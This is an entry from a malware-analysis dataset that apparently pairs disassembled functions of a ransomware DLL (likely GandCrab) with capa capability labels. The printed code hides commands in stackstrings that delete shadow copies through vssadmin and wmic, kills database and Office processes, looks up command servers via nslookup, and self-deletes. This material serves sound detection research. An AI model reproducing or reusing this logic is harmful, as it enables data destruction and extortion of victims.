joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100030a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x14], 0x720073
push edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], 0x730074
mov dword [ebp - 0xc], 0x2e0070
mov dword [ebp - 8], 0x790073
mov dword [ebp - 4], 0x73
mov dword [ebp - 0x44], 0x720073
mov dword [ebp - 0x40], 0x730074
mov dword [ebp - 0x3c], 0x360070
mov dword [ebp - 0x38], 0x2e0034
mov dword [ebp - 0x34], 0x790073
mov dword [ebp - 0x30], 0x73
mov dword [ebp - 0x5c], 0x61004e
mov dword [ebp - 0x58], 0x450076
mov dword [ebp - 0x54], 0x310078
mov dword [ebp - 0x50], 0x2e0035
mov dword [ebp - 0x4c], 0x790073
mov dword [ebp - 0x48], 0x73
mov dword [ebp - 0x2c], 0x61004e
mov dword [ebp - 0x28], 0x450076
mov dword [ebp - 0x24], 0x67006e
mov dword [ebp - 0x20], 0x73002e
mov dword [ebp - 0x1c], 0x730079
mov word [ebp - 0x18], ax
call fcn.10002f50
pop edi
pop esi
pop ebx
test eax, eax
jne 0x10003180
lea ecx, [ebp - 0x44]
call fcn.10002f50
test eax, eax
jne 0x10003180
lea ecx, [ebp - 0x5c]
call fcn.10002f50
test eax, eax
jne 0x10003180
lea ecx, [ebp - 0x2c]
call fcn.10002f50
test eax, eax
jne 0x10003180
mov esp, ebp
pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x100033e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 4], esi
mov dword [esi + 0xc], ebx
call fcn.100032b0
test eax, eax
je 0x100034d9
cmp eax, 0xffffffff
je 0x100034d9
mov ecx, esi
call fcn.10003320
test eax, eax
je 0x10003425
mov dword [esi], 1
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
mov dword [esi], 0
mov al, byte [ebx]
test al, al
je 0x10003418
push edi
cmp al, 0x7b
jne 0x100034bf
inc ebx
push ebx
call fcn.10003190
sub eax, 0
je 0x100034bf
dec eax
je 0x100034b5
dec eax
jne 0x100034bf
mov al, byte [ebx]
mov edi, ebx
test al, al
je 0x10003467
cmp al, 0x7d
je 0x100034bf
inc edi
cmp al, 0x3d
je 0x10003467
mov al, byte [edi]
test al, al
jne 0x10003458
mov al, byte [edi]
cmp al, 0x7d
je 0x100034bf
mov esi, edi
test al, al
je 0x10003483
cmp byte [esi], 0x7d
je 0x10003480
inc esi
cmp byte [esi], 0
jne 0x10003473
jmp 0x10003483
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
test eax, eax
je 0x100034ad
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov byte [esi], 0x7d
mov esi, dword [ebp - 4]
jmp 0x100034bf
push 1
push ebx
mov ecx, esi
call fcn.10003200
mov al, byte [ebx + 1]
inc ebx
test al, al
jne 0x10003432
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x10003be0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Execute shellcode via indirect call
Query environment variable
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x694
push ebx
push esi
push edi
mov esi, ecx
call fcn.10003b20
test eax, eax
je 0x10003dfa
call fcn.10003aa0
test eax, eax
jne 0x10003dfa
push 0xff
lea eax, [esp + 0xa4]
mov dword [esp + 0x1c], 0x770025
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x24], 0x6e0069
push eax
mov dword [esp + 0x2c], 0x690064
mov dword [esp + 0x30], 0x250072
mov dword [esp + 0x34], 0x73005c
mov dword [esp + 0x38], 0x730079
mov dword [esp + 0x3c], 0x650074
mov dword [esp + 0x40], 0x33006d
mov dword [esp + 0x44], 0x5c0032
mov dword [esp + 0x48], 0x620077
mov dword [esp + 0x4c], 0x6d0065
mov dword [esp + 0x50], 0x77005c
mov dword [esp + 0x54], 0x69006d
mov dword [esp + 0x58], 0x63
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
push esi
lea eax, [esp + 0x54]
mov dword [esp + 0x54], 0x720070
push eax
lea eax, [esp + 0x2a8]
mov dword [esp + 0x5c], 0x63006f
push eax
mov dword [esp + 0x64], 0x730065
mov dword [esp + 0x68], 0x200073
mov dword [esp + 0x6c], 0x610063
mov dword [esp + 0x70], 0x6c006c
mov dword [esp + 0x74], 0x630020
mov dword [esp + 0x78], 0x650072
mov dword [esp + 0x7c], 0x740061
mov dword [esp + 0x80], 0x200065
mov dword [esp + 0x84], 0x630022
mov dword [esp + 0x88], 0x64006d
mov dword [esp + 0x8c], 0x2f0020
mov dword [esp + 0x90], 0x200063
mov dword [esp + 0x94], 0x740073
mov dword [esp + 0x98], 0x720061
mov dword [esp + 0x9c], 0x200074
mov dword [esp + 0xa0], 0x730025
mov dword [esp + 0xa4], 0x22
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x40
push 0x3000
push 0x3d
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
mov dword [edi], 0x3c
mov dword [edi + 4], 0x40
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor esi, esi
mov dword [edi + 8], eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x750072
mov dword [esp + 0x10], 0x61006e
mov dword [esp + 0x14], 0x73
mov dword [edi + 0xc], eax
lea eax, [esp + 0xa0]
mov dword [edi + 0x10], eax
lea eax, [esp + 0x2a0]
mov dword [edi + 0x14], eax
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
lea esp, [esp]
push edi
call ebx
test eax, eax
jne 0x10003e01
inc esi
cmp esi, 0x64
jb 0x10003de0
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x10003e20
Capabilities:
Check for time delay via gettickcount
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c4
push ebx
push esi
push edi
push 4
push 0x3000
push 0x18
mov ebx, ecx
push 0
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ecx, 0x43
mov dword [eax + 4], ebx
xor ebx, ebx
mov word [eax], cx
mov eax, dword [0x1000f344]
mov dword [esp + 0x38], eax
mov eax, dword [0x1000f348]
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [esp + 0xc], eax
lea esi, [esp + 0x150]
mov edi, 0x41
jmp 0x10003e80
lea eax, [esp + 0x38]
mov word [esp + 0x38], di
push eax
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
cmp eax, 2
jb 0x10003ed7
cmp eax, 5
je 0x10003ed7
mov eax, dword [esp + 0x10]
push 0
push 0
mov dword [esi - 4], eax
lea eax, [esi - 8]
push eax
push 0x10006de0
push 0
push 0
mov word [eax], di
mov dword [esi], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [esp + ebx*4 + 0x48], eax
inc ebx
add esi, 0x18
inc edi
cmp di, 0x5a
jbe 0x10003e80
push 0xffffffffffffffff
push 1
lea eax, [esp + 0x50]
mov dword [esp + 0x24], ebx
xorps xmm0, xmm0
mov dword [esp + 0x20], 0
push eax
push ebx
mov dword [esp + 0x24], 0
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x30], xmm0
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
sub eax, dword [esp + 0xc]
xorps xmm0, xmm0
mov edi, dword [esp + 0x2c]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x30], eax
xor eax, eax
mov dword [esp + 0x10], 0
movlpd qword [esp + 0x40], xmm0
cmp ebx, 2
jb 0x10003f9c
lea ecx, [ebx - 2]
mov ebx, dword [esp + 0x28]
shr ecx, 1
lea eax, [esp + 0x170]
inc ecx
mov dword [esp + 0xc], ecx
lea edx, [ecx + ecx]
mov dword [esp + 0x34], edx
mov edx, dword [esp + 0x24]
nop
mov ecx, dword [esp + 0x18]
add ecx, dword [eax - 0x20]
add ebx, dword [eax - 0x18]
mov dword [esp + 0x18], ecx
adc edi, dword [eax - 0x14]
mov ecx, dword [esp + 0x14]
add ecx, dword [eax - 8]
add esi, dword [eax]
mov dword [esp + 0x14], ecx
adc edx, dword [eax + 4]
lea eax, [eax + 0x30]
dec dword [esp + 0xc]
jne 0x10003f60
mov eax, dword [esp + 0x34]
mov dword [esp + 0xc], ebx
mov ebx, dword [esp + 0x1c]
mov ecx, dword [esp + 0xc]
jmp 0x10003fa4
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
cmp eax, ebx
jae 0x10003fc6
lea eax, [eax + eax*2]
mov ebx, dword [esp + eax*8 + 0x150]
mov dword [esp + 0x10], ebx
mov ebx, dword [esp + eax*8 + 0x158]
mov eax, dword [esp + eax*8 + 0x15c]
jmp 0x10003fce
mov eax, dword [esp + 0x44]
mov ebx, dword [esp + 0x40]
add esi, ecx
mov ecx, dword [esp + 0x14]
adc edx, edi
add esi, ebx
adc edx, eax
add ecx, dword [esp + 0x18]
add ecx, dword [esp + 0x10]
push edx
mov edx, dword [esp + 0x34]
push esi
call fcn.10005670
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004030
Capabilities:
Encode data using xor

Disassembly:
cmp dword [0x10012a60], 0
jne 0x100040d7
push edi
push 4
push 0x3000
push 0x1de
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x100040d0
xor ecx, ecx
lea eax, [edi + 0x1db]
cmp edi, 0x1000fa7b
ja 0x1000406f
cmp eax, 0x1000f8a0
jae 0x100040a8
movdqa xmm1, xmmword [0x100104a0]
mov eax, edi
sub eax, 0x1000f8a0
mov edi, edi
movdqu xmm0, xmmword [ecx + 0x1000f8a0]
pxor xmm0, xmm1
movdqu xmmword [eax + ecx + 0x1000f8a0], xmm0
add ecx, 0x10
cmp ecx, 0x1d0
jb 0x10004080
cmp ecx, 0x1dc
jae 0x100040d0
push ebx
push esi
mov ebx, 0x1000f8a0
lea edx, [ecx + edi]
mov esi, 0x1dc
sub ebx, edi
sub esi, ecx
jmp 0x100040c0
mov al, byte [ebx + edx]
lea edx, [edx + 1]
xor al, 5
mov byte [edx - 1], al
dec esi
jne 0x100040c0
pop esi
pop ebx
mov dword [0x10012a60], edi
pop edi
ret
Function at 0x100043e0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xac
push ebx
push esi
push edi
call fcn.10003b20
test eax, eax
je 0x10004490
xor ecx, ecx
mov dword [esp + 0x24], 0x77005c
mov dword [esp + 0x28], 0x650062
lea ebx, [esp + 0x24]
mov dword [esp + 0x2c], 0x5c006d
lea eax, [esp + 0x44]
mov dword [esp + 0x30], 0x6d0077
mov dword [esp + 0x34], 0x630069
mov dword [esp + 0x38], 0x65002e
mov dword [esp + 0x3c], 0x650078
mov word [esp + 0x40], cx
mov dword [esp + 0x44], 0x680073
mov dword [esp + 0x48], 0x640061
mov dword [esp + 0x4c], 0x77006f
mov dword [esp + 0x50], 0x6f0063
mov dword [esp + 0x54], 0x790070
mov dword [esp + 0x58], 0x640020
mov dword [esp + 0x5c], 0x6c0065
mov dword [esp + 0x60], 0x740065
mov dword [esp + 0x64], 0x65
jmp 0x10004588
xor edi, edi
mov dword [esp + 0x10], 0x63005c
xor eax, eax
mov dword [esp + 0x14], 0x64006d
mov word [esp + 0xb4], ax
lea ebx, [esp + 0x10]
mov dword [esp + 0x18], 0x65002e
lea eax, [esp + 0x68]
mov dword [esp + 0x1c], 0x650078
mov word [esp + 0x20], di
mov dword [esp + 0x68], 0x63002f
mov dword [esp + 0x6c], 0x760020
mov dword [esp + 0x70], 0x730073
mov dword [esp + 0x74], 0x640061
mov dword [esp + 0x78], 0x69006d
mov dword [esp + 0x7c], 0x20006e
mov dword [esp + 0x80], 0x650064
mov dword [esp + 0x84], 0x65006c
mov dword [esp + 0x88], 0x650074
mov dword [esp + 0x8c], 0x730020
mov dword [esp + 0x90], 0x610068
mov dword [esp + 0x94], 0x6f0064
mov dword [esp + 0x98], 0x730077
mov dword [esp + 0x9c], 0x2f0020
mov dword [esp + 0xa0], 0x6c0061
mov dword [esp + 0xa4], 0x20006c
mov dword [esp + 0xa8], 0x71002f
mov dword [esp + 0xac], 0x690075
mov dword [esp + 0xb0], 0x740065
push 0x40
push 0x3000
push 0x400
push 0
mov dword [esp + 0x1c], eax
mov edi, 0x20
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x100045af
xor edi, edi
jmp 0x100045df
push 0x100
push esi
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0
push 0
push dword [esp + 0x14]
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp edi, eax
sbb edi, edi
neg edi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004600
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
push ebx
push esi
push edi
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [esp + 0x68]
call fcn.100039f0
lea ecx, [esp + 0x10]
call fcn.10007330
lea ecx, [esp + 0x10]
call fcn.10007140
mov esi, eax
push 0x40
push 0x3000
lea ebx, [esi*2 + 0x42]
push ebx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x10004677
lea ecx, [esi*2 + 0x40]
cmp ecx, ebx
jae 0x10004677
mov esi, edi
jmp 0x10004679
xor esi, esi
push str.Global_
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea ecx, [esp + 0x10]
lea eax, [esi + eax*2]
push eax
call fcn.10006f40
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
mov esi, dword [sym.imp.KERNEL32.DLL_GetLastError]
call esi
cmp eax, 5
je 0x100046be
call esi
cmp eax, 0xb7
je 0x100046be
xor esi, esi
jmp 0x100046c3
mov esi, 1
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
lea ecx, [esp + 0x10]
call fcn.10007c10
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100046f0
Capabilities:
Enumerate processes
Resolve function by parsing pe exports
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa4
push ebx
push esi
push edi
push 0
push 2
mov dword [esp + 0x18], str.msftesql.exe
mov dword [esp + 0x1c], str.sqlagent.exe
mov dword [esp + 0x20], str.sqlbrowser.exe
mov dword [esp + 0x24], str.sqlservr.exe
mov dword [esp + 0x28], str.sqlwriter.exe
mov dword [esp + 0x2c], str.oracle.exe
mov dword [esp + 0x30], str.ocssd.exe
mov dword [esp + 0x34], str.dbsnmp.exe
mov dword [esp + 0x38], str.synctime.exe
mov dword [esp + 0x3c], str.mydesktopqos.exe
mov dword [esp + 0x40], str.agntsvc.exeisqlplussvc.exe
mov dword [esp + 0x44], str.xfssvccon.exe
mov dword [esp + 0x48], str.mydesktopservice.exe
mov dword [esp + 0x4c], str.ocautoupds.exe
mov dword [esp + 0x50], str.agntsvc.exeagntsvc.exe
mov dword [esp + 0x54], str.agntsvc.exeencsvc.exe
mov dword [esp + 0x58], str.firefoxconfig.exe
mov dword [esp + 0x5c], str.tbirdconfig.exe
mov dword [esp + 0x60], str.ocomm.exe
mov dword [esp + 0x64], str.mysqld.exe
mov dword [esp + 0x68], str.mysqld_nt.exe
mov dword [esp + 0x6c], str.mysqld_opt.exe
mov dword [esp + 0x70], str.dbeng50.exe
mov dword [esp + 0x74], str.sqbcoreservice.exe
mov dword [esp + 0x78], str.excel.exe
mov dword [esp + 0x7c], str.infopath.exe
mov dword [esp + 0x80], str.msaccess.exe
mov dword [esp + 0x84], str.mspub.exe
mov dword [esp + 0x88], str.onenote.exe
mov dword [esp + 0x8c], str.outlook.exe
mov dword [esp + 0x90], str.powerpnt.exe
mov dword [esp + 0x94], str.steam.exe
mov dword [esp + 0x98], str.sqlservr.exe
mov dword [esp + 0x9c], str.thebat.exe
mov dword [esp + 0xa0], str.thebat64.exe
mov dword [esp + 0xa4], str.thunderbird.exe
mov dword [esp + 0xa8], str.visio.exe
mov dword [esp + 0xac], str.winword.exe
mov dword [esp + 0xb0], str.wordpad.exe
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
push 4
push 0x3000
push 0x22c
mov esi, eax
push 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x1000489b
mov dword [ebx], 0x22c
cmp esi, 0xffffffff
je 0x1000489b
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebx + 0x24]
xor esi, esi
jmp 0x100048b0
push ecx
push dword [esp + esi*4 + 0x14]
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x100048eb
push dword [ebx + 8]
push eax
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
test edi, edi
je 0x100048e5
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
jmp 0x100048eb
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc esi
lea ecx, [ebx + 0x24]
cmp esi, 0x27
jb 0x100048b0
mov esi, dword [esp + 0xc]
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
lea ecx, [ebx + 0x24]
test eax, eax
jne 0x100048a4
test ebx, ebx
je 0x10004919
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push esi
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004c40
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push 0x44
lea eax, [ebp - 0x58]
xorps xmm0, xmm0
push 0
push eax
mov esi, ecx
movdqu xmmword [ebp - 0x10], xmm0
call fcn.10009010
mov eax, dword [0x10012a6c]
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [0x10012a68]
or dword [ebp - 0x2c], 0x101
mov dword [ebp - 0x20], eax
xor eax, eax
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], 0x44
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
jne 0x10004cb4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10004de0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.10008990
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
push edi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x100c]
push eax
push dword [0x10012a70]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov cl, byte [ebp - 0x100c]
lea edi, [ebp - 0x100c]
mov ebx, eax
test cl, cl
je 0x10004e65
mov esi, edi
sub esi, str.Cant_find_server
mov edi, edi
mov eax, str.Cant_find_server
test cl, cl
je 0x10004e5c
lea esp, [esp]
mov cl, byte [eax]
test cl, cl
je 0x10004df6
movsx edx, byte [esi + eax]
movsx ecx, cl
sub edx, ecx
jne 0x10004e57
inc eax
cmp byte [esi + eax], dl
jne 0x10004e40
cmp byte [eax], 0
je 0x10004df6
mov cl, byte [edi + 1]
inc edi
inc esi
test cl, cl
jne 0x10004e30
pop edi
pop esi
test ebx, ebx
pop ebx
je 0x10004e86
cmp dword [ebp - 0xc], 0
je 0x10004e86
push dword [ebp - 4]
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x100c]
call fcn.10004cd0
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x10004e90
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x3c], 0x73006e
cmp dword [ebp + 8], 1
mov ebx, edx
push edi
mov word [ebp - 4], ax
mov edi, ecx
mov word [ebp - 0x40], ax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x38], 0x6f006c
cmovne eax, ecx
mov dword [ebp - 0x34], 0x6b006f
push 0
mov dword [ebp + 8], eax
lea eax, [ebp - 0x84]
push eax
push 0x10012a6c
push 0x10012a70
mov dword [ebp - 0x30], 0x700075
mov dword [ebp - 0x2c], 0x250020
mov dword [ebp - 0x28], 0x200053
mov dword [ebp - 0x24], 0x6e0064
mov dword [ebp - 0x20], 0x310073
mov dword [ebp - 0x1c], 0x73002e
mov dword [ebp - 0x18], 0x70006f
mov dword [ebp - 0x14], 0x6f0072
mov dword [ebp - 0x10], 0x6e0064
mov dword [ebp - 0xc], 0x2e0073
mov dword [ebp - 8], 0x750072
mov dword [ebp - 0x78], 0x73006e
mov dword [ebp - 0x74], 0x6f006c
mov dword [ebp - 0x70], 0x6b006f
mov dword [ebp - 0x6c], 0x700075
mov dword [ebp - 0x68], 0x250020
mov dword [ebp - 0x64], 0x200053
mov dword [ebp - 0x60], 0x6e0064
mov dword [ebp - 0x5c], 0x320073
mov dword [ebp - 0x58], 0x73002e
mov dword [ebp - 0x54], 0x70006f
mov dword [ebp - 0x50], 0x6f0072
mov dword [ebp - 0x4c], 0x6e0064
mov dword [ebp - 0x48], 0x2e0073
mov dword [ebp - 0x44], 0x750072
mov dword [ebp - 0x84], 0xc
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x80], 0
call dword [sym.imp.KERNEL32.DLL_CreatePipe]
test eax, eax
jne 0x10004fbd
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.DLL_SetHandleInformation]
push 0
push 1
push dword [0x10012a70]
call esi
test eax, eax
je 0x10004fb3
push 0
lea eax, [ebp - 0x84]
push eax
push 0x10012a74
push 0x10012a68
call dword [sym.imp.KERNEL32.DLL_CreatePipe]
push 0
push 1
push dword [0x10012a74]
call esi
test eax, eax
je 0x10004fb3
push 4
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x1000504b
push ebx
push dword [ebp + 8]
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, esi
call fcn.10004c40
mov edx, ebx
mov ecx, edi
call fcn.10004de0
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.fabian_wosar__3
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005060
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
movdqa xmm0, xmmword [0x100104c0]
lea eax, [ebp - 0x4c]
push ebx
push esi
push edi
push 4
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x38]
push 0x3000
movdqu xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x24]
movdqa xmm0, xmmword [0x100104d0]
push 0x100
push 0
mov word [ebp - 0x3c], 0x6e
movdqu xmmword [ebp - 0x38], xmm0
mov byte [ebp - 0x28], 0
mov dword [ebp - 0x24], 0x646e6167
mov dword [ebp - 0x20], 0x62617263
mov dword [ebp - 0x1c], 0x7469622e
mov byte [ebp - 0x18], 0
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x1000517f
xor ecx, ecx
mov esi, 1
xor edi, edi
mov eax, dword [ebp + edi*4 - 0x14]
inc edi
mov dword [ebp - 8], eax
cmp edi, 3
jne 0x100050f9
dec esi
neg esi
sbb esi, esi
add esi, 2
xor edi, edi
cmp ecx, 0xffffffff
jne 0x10005109
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 4
push 0x3000
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edx, dword [ebp - 8]
mov ebx, eax
push esi
mov ecx, ebx
call fcn.10004e90
add esp, 4
push str.fabian_wosar__3
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
jne 0x1000515c
push 0x8000
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov ebx, dword [ebp - 4]
or ecx, 0xffffffff
jmp 0x100050e2
mov esi, dword [ebp - 4]
push ebx
push 0x1000fab4
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10005190
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
push 4
push 0x3000
push 0x400
push 0
mov edi, eax
call esi
mov esi, eax
test edi, edi
je 0x100051f9
push 0x200
push edi
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
test esi, esi
je 0x100051f9
push edi
push str._c_timeout__c_5__del___s___f__q
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push esi
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]